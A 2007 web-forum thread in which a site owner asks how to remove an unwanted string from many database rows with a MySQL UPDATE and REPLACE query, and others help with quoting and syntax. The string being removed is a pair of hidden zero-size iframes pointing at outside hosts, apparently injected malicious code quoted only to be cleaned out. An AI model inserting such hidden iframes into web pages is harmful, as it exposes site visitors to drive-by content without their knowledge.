Tycoon Talk
Become a Big fish!
The number 1 forum for online business!
Post topics, ask questions, share your knowledge.
Tycoon Talk is part of Freelancer.com - find skilled workers online at a fraction of the cost.

The Database Forum


You are currently viewing our The Database Forum as a guest. Please register to participate.
Login



Reply
How to automatically remove phrasses?
Old 04-14-2007, 04:02 PM How to automatically remove phrasses?
Novice Talker

Posts: 10
Trades: 0
In my sql database, there are some phrasses and i want to delete it, but its in too many entries. how to remove them?

I have tried to add this command into SQL query field:

delete from table_where_are_the_phrasses where the_column_where_are_the_phrasses_located like %phrasse to remove...%
but this returns error:

: Missing parameter: import_type (FAQ 2.8)
: Missing parameter: format (FAQ 2.8)

----
Definition in manual:

2.8 I get "Missing parameters" errors, what can I do?

Here are a few points to check:
In config.inc.php, try to leave the $cfg['PmaAbsoluteUri'] directive empty. See also FAQ 4.7.
Maybe you have a broken PHP installation or you need to upgrade your Zend Optimizer. See http://bugs.php.net/bug.php?id=31134.
If you are using Hardened PHP with the ini directive varfilter.max_request_variables set to the default (200) or another low value, you could get this error if your table has a high number of columns. Adjust this setting accordingly. (Thanks to Klaus Dorninger for the hint).
In the php.ini directive arg_separator.input, a value of ";" will cause this error. Replace it with "&;".


What should i do please?
__________________

Please login or register to view this content. Registration is FREE
- Instant traffic to your site

Please login or register to view this content. Registration is FREE


Please login or register to view this content. Registration is FREE
postcd is offline
Reply With Quote
View Public Profile
 
 
Register now for full access!
Old 04-14-2007, 06:00 PM Re: How to automatically remove phrasses?
chrishirst's Avatar
Missing! presumed drunk.

Posts: 41,519
Name: Chris Hirst
Location: Blackpool. UK
Trades: 0
do you want to delete the whole row where the phrase is found or simply remove the phrase from the column ?

and what are you using to run the query ?
__________________
Chris. ->> Links are advertising NOT optimising!! <<-
A foolish consistency is the hobgoblin of little minds
Thought for today:- I SEO the only industry where all the cowboys are Indians?
chrishirst is offline
Reply With Quote
View Public Profile Visit chrishirst's homepage!
 
Old 04-15-2007, 04:34 AM Re: How to automatically remove phrasses?
Novice Talker

Posts: 10
Trades: 0
Quote:
Originally Posted by chrishirst View Post
do you want to delete the whole row where the phrase is found or simply remove the phrase from the column ?

and what are you using to run the query ?
Thank you for your reply!
Im using PhpMyadmin for running the query. (SQL tab)
I need to remove only phrase from the column.
__________________

Please login or register to view this content. Registration is FREE
- Instant traffic to your site

Please login or register to view this content. Registration is FREE


Please login or register to view this content. Registration is FREE
postcd is offline
Reply With Quote
View Public Profile
 
Old 04-15-2007, 05:09 AM Re: How to automatically remove phrasses?
chrishirst's Avatar
Missing! presumed drunk.

Posts: 41,519
Name: Chris Hirst
Location: Blackpool. UK
Trades: 0
It's an update query needed in that case.

UPDATE table SET field = REPLACE(field,"phrase","") ;
__________________
Chris. ->> Links are advertising NOT optimising!! <<-
A foolish consistency is the hobgoblin of little minds
Thought for today:- I SEO the only industry where all the cowboys are Indians?
chrishirst is offline
Reply With Quote
View Public Profile Visit chrishirst's homepage!
 
Old 04-15-2007, 01:57 PM Re: How to automatically remove phrasses?
Novice Talker

Posts: 10
Trades: 0
I have tried to execute it and it returned an syntax error, because the phrase i need to replace contains " character... (a href="http://...)

UPDATE table SET field = REPLACE(field,"phrase","") ;
__________________

Please login or register to view this content. Registration is FREE
- Instant traffic to your site

Please login or register to view this content. Registration is FREE


Please login or register to view this content. Registration is FREE

Last edited by postcd; 04-15-2007 at 02:02 PM..
postcd is offline
Reply With Quote
View Public Profile
 
Old 04-15-2007, 02:30 PM Re: How to automatically remove phrasses?
chrishirst's Avatar
Missing! presumed drunk.

Posts: 41,519
Name: Chris Hirst
Location: Blackpool. UK
Trades: 0
You need to "escape" the quotemarks with a "\" to indicate a literal character value rather than a delimiter.

Code:
... REPLACE(field,"href=\"http:// ... \"
__________________
Chris. ->> Links are advertising NOT optimising!! <<-
A foolish consistency is the hobgoblin of little minds
Thought for today:- I SEO the only industry where all the cowboys are Indians?
chrishirst is offline
Reply With Quote
View Public Profile Visit chrishirst's homepage!
 
Old 04-15-2007, 03:35 PM Re: How to automatically remove phrasses?
Novice Talker

Posts: 10
Trades: 0
I have entered this:
UPDATE table SET field = REPLACE(small_text,"<iframe src=\"http://1.1.1.1/ttf/sss.php" height="0" width="0"></iframe><iframe src="http://www.xxx.com/search/settings/count/index.php" height="0" width="0"></iframe>\","") ;
small_text is a field name where are the phrases.
<iframe......> is the code i need to remove

It returned following error:

Error

There seems to be an error in your SQL query. The MySQL server error output below, if there is any, may also help you in diagnosing the problem
ERROR: Unknown Punctuation String @ 113
STR: ></
SQL: UPDATE table SET field = REPLACE(small_text,"<iframe src=\"http://1.1.1.1/ttf/sss.php" height="0" width="0"></iframe><iframe src="http://www.xxx.com/search/settings/count/index.php" height="0" width="0"></iframe>\","")


SQL query:

UPDATE table SET field = REPLACE(small_text,"<iframe src=\"http://1.1.1.1/ttf/sss.php" height="0" width="0"></iframe><iframe src="http://www.xxx.com/search/settings/count/index.php" height="0" width="0"></iframe>\","")

MySQL said:
#1064 - You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'table SET field = REPLACE(small_text,"<iframe src=\"http://1.1
__________________

Please login or register to view this content. Registration is FREE
- Instant traffic to your site

Please login or register to view this content. Registration is FREE


Please login or register to view this content. Registration is FREE
postcd is offline
Reply With Quote
View Public Profile
 
Old 04-15-2007, 03:50 PM Re: How to automatically remove phrasses?
chrishirst's Avatar
Missing! presumed drunk.

Posts: 41,519
Name: Chris Hirst
Location: Blackpool. UK
Trades: 0
And is the table you are trying to update called "table" is is it more likely to be called something else ???

BTW.
You need to escape ALL the quotemarks in the string. APART from the one that marks the end of the string.
__________________
Chris. ->> Links are advertising NOT optimising!! <<-
A foolish consistency is the hobgoblin of little minds
Thought for today:- I SEO the only industry where all the cowboys are Indians?
chrishirst is offline
Reply With Quote
View Public Profile Visit chrishirst's homepage!
 
Old 04-15-2007, 04:06 PM Re: How to automatically remove phrasses?
Novice Talker

Posts: 10
Trades: 0
New form:

UPDATE hm2_news SET field = REPLACE(small_text,"<iframe src=\"http://1.1.1.1/ttf/sss.php\" height=\"0\" width=\"0\"></iframe><iframe src=\"http://www.xxx.com/search/settings/count/index.php\" height=\"0\" width=\"0\"></iframe>","");

hm2_news is a table name, small_text is a field name. In the table, there are many entries and in main part in small_text field there is that phrase i need to remove.

It returned blank page with this:
: Missing parameter: import_type (FAQ 2.8)
: Missing parameter: format (FAQ 2.8)

This is the info i got from the sql manual regarding this message:
2.8 I get "Missing parameters" errors, what can I do?

Here are a few points to check:
In config.inc.php, try to leave the $cfg['PmaAbsoluteUri'] directive empty. See also FAQ 4.7.
Maybe you have a broken PHP installation or you need to upgrade your Zend Optimizer. See http://bugs.php.net/bug.php?id=31134.
If you are using Hardened PHP with the ini directive varfilter.max_request_variables set to the default (200) or another low value, you could get this error if your table has a high number of columns. Adjust this setting accordingly. (Thanks to Klaus Dorninger for the hint).
In the php.ini directive arg_separator.input, a value of ";" will cause this error. Replace it with "&;".
__________________

Please login or register to view this content. Registration is FREE
- Instant traffic to your site

Please login or register to view this content. Registration is FREE


Please login or register to view this content. Registration is FREE

Last edited by postcd; 04-15-2007 at 04:09 PM..
postcd is offline
Reply With Quote
View Public Profile
 
Old 04-15-2007, 05:04 PM Re: How to automatically remove phrasses?
Republikin's Avatar
Defies a Status

Posts: 3,189
Trades: 3
Perhaps try changing SET field to SET small_text.
__________________

Please login or register to view this content. Registration is FREE


Please login or register to view this content. Registration is FREE


Please login or register to view this content. Registration is FREE
Republikin is offline
Reply With Quote
View Public Profile
 
Old 04-15-2007, 05:41 PM Re: How to automatically remove phrasses?
chrishirst's Avatar
Missing! presumed drunk.

Posts: 41,519
Name: Chris Hirst
Location: Blackpool. UK
Trades: 0
.....
__________________
Chris. ->> Links are advertising NOT optimising!! <<-
A foolish consistency is the hobgoblin of little minds
Thought for today:- I SEO the only industry where all the cowboys are Indians?
chrishirst is offline
Reply With Quote
View Public Profile Visit chrishirst's homepage!
 
Reply     « Reply to How to automatically remove phrasses?
 

Thread Tools Search this Thread
Search this Thread:

Advanced Search

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are Off
Pingbacks are Off
Refbacks are Off





   
RSS Feed  Feeds: RSS   JS   XML
RSS Feed  Feeds for this forum: RSS   JS   XML



Page generated in 1.54571 seconds with 12 queries